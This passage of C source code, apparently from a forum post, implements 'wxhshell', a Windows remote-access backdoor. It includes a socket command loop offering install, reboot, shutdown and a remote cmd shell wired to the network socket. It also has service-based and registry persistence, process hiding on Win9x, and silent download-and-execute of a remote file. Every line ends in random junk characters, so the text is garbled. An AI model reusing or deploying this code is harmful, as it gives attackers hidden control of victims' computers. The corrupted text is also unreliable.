  else { ~aq?Kk  
2] wf`9ZH  
    switch(cmd[0]) { Q{|'g5(O  
  `::(jW.KO  
  // 帮助 UeiJhH,u   
  case '?': { wbF1>{/"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DBh/V#* D  
    break; &T/9y W[L  
  } I8oKa$RF  
  // 安装 AiHDoV+-  
  case 'i': { LGg x.Z  
    if(Install()) 1X_!%Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \w\47/k{  
    else Va[dZeoy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Phr`/  
    break; {^O/MMB\\%  
    } lJQl$Wx^  
  // 卸载 snzH}$Ls  
  case 'r': { WF.$gBH"  
    if(Uninstall()) exMPw ;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y42T.oK8c  
    else }6{)Jv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q>lkLHS  
    break; C]cT*B^  
    } !rmo*-=^=  
  // 显示 wxhshell 所在路径 T[9jTO?W2  
  case 'p': { 2i'-lM=  
    char svExeFile[MAX_PATH]; btz3f9  
    strcpy(svExeFile,"\n\r"); ,?N_67  
      strcat(svExeFile,ExeFile); V`&*%xgGR  
        send(wsh,svExeFile,strlen(svExeFile),0); l{SPV8[i  
    break; dE!=a|Pl  
    } k)t8J\  
  // 重启 2 ]6u B e  
  case 'b': { 2X |jq4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .B-,GD}  
    if(Boot(REBOOT)) ;? QAPTz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Fs) "?  
    else { 91Sb= 9  
    closesocket(wsh); <u% e*  
    ExitThread(0); [B;Ek \5W  
    } M#<fh:>  
    break; 8n p>#V  
    } lSv;wwEg  
  // 关机 n{NgtH\V  
  case 'd': { @{GxQzo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FNRE_83  
    if(Boot(SHUTDOWN)) Q 6<Uui w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >l*9DaZ  
    else { eeR@p$4i  
    closesocket(wsh); e$|)wOwU  
    ExitThread(0); fe`G^hV  
    } i]WlMC6  
    break; HSFf&|qqx  
    } gG>^h1_o~  
  // 获取shell ?PtRb:RHt  
  case 's': { -^yc yZ  
    CmdShell(wsh); 3$f5][+U  
    closesocket(wsh); /'^>-!8_1  
    ExitThread(0); tl#s:  
    break; siZ_JJW  
  } L. ?dI82c  
  // 退出 gx R|S  
  case 'x': { hf5SpwxLiH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }n8;A;axi  
    CloseIt(wsh); 4gt "dfy+  
    break; ON! G{=7  
    } e[o ;l  
  // 离开 ,+evP=(cX  
  case 'q': { TTak[e&j3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Ya6yz  
    closesocket(wsh); 'U Cx^-  
    WSACleanup(); Gf.o{  
    exit(1); JU+'UK630  
    break; KftM4SFbK  
        } Pu*UZcXY  
  } |VF"Cjw?  
  } X,CF Y  
LMj'?SuH  
  // 提示信息 nECf2>Yp v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;P#*R3   
} t O;W?g  
  } 8uW:_t]q  
PX/0  jv  
  return; ?2>v5p  
} 5!p'n#_  
H5t`E^E  
// shell模块句柄 @x ]^blq  
int CmdShell(SOCKET sock) >&z+ih  
{ ,1+_k ="Z  
STARTUPINFO si; 6;V 1PK>9  
ZeroMemory(&si,sizeof(si)); 4=cq76  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YIqfGXu8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Pp FI  
PROCESS_INFORMATION ProcessInfo; K0a 50@B]  
char cmdline[]="cmd"; }-iOYSn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kfECC&"  
  return 0; ]`9K|v  
} DMW:%h{  
(fb\A6  
// 自身启动模式 h%e!f#  
int StartFromService(void) BBj"}~da  
{ C{^@.8:  
typedef struct rJj~cPwL"  
{ z5w|+9U  
  DWORD ExitStatus; .q}k  
  DWORD PebBaseAddress; %W@IB8]Vr  
  DWORD AffinityMask; DlO;EH  
  DWORD BasePriority; (LPD  
  ULONG UniqueProcessId; S`.-D+.68  
  ULONG InheritedFromUniqueProcessId; F\72^,0  
}   PROCESS_BASIC_INFORMATION; IQv>{h}  
F'*4:WD7  
PROCNTQSIP NtQueryInformationProcess; - mXr6R?  
{m GWMv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VHNiTp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Cf[nGh|B  
M lwQ_5O  
  HANDLE             hProcess; h]9^bX__Z  
  PROCESS_BASIC_INFORMATION pbi; &|] ^ u/  
^q2zqC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ywte \}  
  if(NULL == hInst ) return 0; ZeV)/g,w  
v21?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S45_-aE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,BAF?} 04=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z8UM0B=i  
-C<aB750O)  
  if (!NtQueryInformationProcess) return 0; Wno5B/V  
\ } f*   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q>X 2=&1  
  if(!hProcess) return 0; D3ad2vH  
*h6i9V%'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1A`";E&  
(0f^Hh wF  
  CloseHandle(hProcess); iq -o$6Pg  
?>&Zm$5V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s6uAF(4,  
if(hProcess==NULL) return 0; Cn '=_1p  
U7?ez  
HMODULE hMod; H skN(Ho  
char procName[255]; eRbO Hj1  
unsigned long cbNeeded; k*^W lCZ3  
X.<R['U&\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l[k$O$jo  
:B~c>:  
  CloseHandle(hProcess); '"^JNb^I  
\f#ao<vQm  
if(strstr(procName,"services")) return 1; // 以服务启动 Ymom 0g+ f  
YvX I  
  return 0; // 注册表启动 [*t E HW  
} v(~m!8!TI  
qC1@p?8$  
// 主模块 -^DB?j+  
int StartWxhshell(LPSTR lpCmdLine) UtN>6$u  
{ Y[4B{  
  SOCKET wsl; ow "Xv  
BOOL val=TRUE; ;0'v`ob'.?  
  int port=0; Z ngJ9js  
  struct sockaddr_in door; UepBXt3)  
+_Z/VQv  
  if(wscfg.ws_autoins) Install(); _!zY(9%  
3FN? CN] O  
port=atoi(lpCmdLine); 3LR Eue7Gr  
vKf=t&gqr  
if(port<=0) port=wscfg.ws_port; g=Di2j{A  
-f=hL7NW  
  WSADATA data; /jD'o>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KG$2u:n  
ig{5 ]wZ(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |{T2|iJI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }__+[-  
  door.sin_family = AF_INET; A$cbH.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h;->i]  
  door.sin_port = htons(port); bSfQH4F  
"Cb<~Dy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6tguy  
closesocket(wsl); c^y 1s*  
return 1; _rd{cvdR  
} xJCpWU3wM  
xTT>3Fj  
  if(listen(wsl,2) == INVALID_SOCKET) { xFZq6si?  
closesocket(wsl); s?Kn,6Y  
return 1; UZ#2*PH2E  
} >YLm]7v}  
  Wxhshell(wsl); v &n &i?  
  WSACleanup(); g%trGW3{-  
@#apOoVW>  
return 0; Sls> OIc  
/Ny&;Y  
} 5oS\uX|  
o6 /?WR9  
// 以NT服务方式启动 Cmj)CJ-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @d\F; o<  
{ "|if<hx+  
DWORD   status = 0; 3nO|A: t  
  DWORD   specificError = 0xfffffff; $$a"A(Y  
tF|bxXs Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h.*|4;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \+xsJbEV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @_{"ho  
  serviceStatus.dwWin32ExitCode     = 0; D_Y;N3E/rS  
  serviceStatus.dwServiceSpecificExitCode = 0; FWg7 e3  
  serviceStatus.dwCheckPoint       = 0; 9\F^\h{  
  serviceStatus.dwWaitHint       = 0; ry'(m M  
Lmb<)YY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \IKr+wlN8  
  if (hServiceStatusHandle==0) return; ]NCOi ?Odx  
F~1R.r_Lu  
status = GetLastError(); yWzTHW`)Mr  
  if (status!=NO_ERROR) &>o)7H];  
{ :R)IaJ6)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DI_mF#5q  
    serviceStatus.dwCheckPoint       = 0; . fIodk  
    serviceStatus.dwWaitHint       = 0; H|Ems}b  
    serviceStatus.dwWin32ExitCode     = status; a|.u;  
    serviceStatus.dwServiceSpecificExitCode = specificError; )-(NL!?`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0 Ae*Y0  
    return; G;e}z&6<k  
  } 5j]%@]M$Z  
_bX)fnUu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PsLCO(26  
  serviceStatus.dwCheckPoint       = 0; !ZRV\31%  
  serviceStatus.dwWaitHint       = 0; iQKfx#kt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); om1 / 9  
} bm;4NA?Gg  
]9' \<uR  
// 处理NT服务事件,比如:启动、停止 rhrlEf@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Uu/1TTf  
{ |fUSq1//  
switch(fdwControl) y{&,YV&_h  
{ hXCDlCO  
case SERVICE_CONTROL_STOP: D)Zv  
  serviceStatus.dwWin32ExitCode = 0; DCj!m<Y&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !>Xx</iD1  
  serviceStatus.dwCheckPoint   = 0; Y3[@(  
  serviceStatus.dwWaitHint     = 0; + '`RJ,K+[  
  { 5GKz@as8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9g7T~|P  
  } %^S1 fUwT  
  return; M0|z^2  
case SERVICE_CONTROL_PAUSE: 6R25Xfm_|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?g'l/xuRe  
  break; 2,+H;Ypi!  
case SERVICE_CONTROL_CONTINUE: \21!NPXH2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bu]bfnYi9  
  break; GB#7w82  
case SERVICE_CONTROL_INTERROGATE: 1n^xVk-G  
  break; ~L2Fo~fw  
}; `6zoZM7?Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jps!,Mflc  
} i |t$sBIh  
99`xY$  
// 标准应用程序主函数 c0@v`-9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 344- ~i*  
{ Px<;-H`  
%\A~w3E  
// 获取操作系统版本 ek9%Xk8  
OsIsNt=GetOsVer(); e.N#+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BsJClKp/  
D3]_AS&\  
  // 从命令行安装 W|:WAxJ*d  
  if(strpbrk(lpCmdLine,"iI")) Install(); QZX+E   
aePk^?KbB  
  // 下载执行文件 *`kh}  
if(wscfg.ws_downexe) { !>M: G:K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d/MMPge3  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5lT lZRH1  
} PH6uP]  
="V6z$N  
if(!OsIsNt) { LVSJK.B  
// 如果时win9x,隐藏进程并且设置为注册表启动 mz47lv1?  
HideProc(); "h "vp&A  
StartWxhshell(lpCmdLine); C`fQ` RL\  
} }u :sh >2  
else ^W^%PJ D |  
  if(StartFromService()) [|vd r.  
  // 以服务方式启动 b<%6aRC\  
  StartServiceCtrlDispatcher(DispatchTable); #}.db?[Rv  
else .k}h'nE  
  // 普通方式启动 )/UkJ/}j  
  StartWxhshell(lpCmdLine); Qk((H~I}  
d;`JDT  
return 0; ZPXxrmq%  
}
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只看该作者 1 发表于: 2006-10-10
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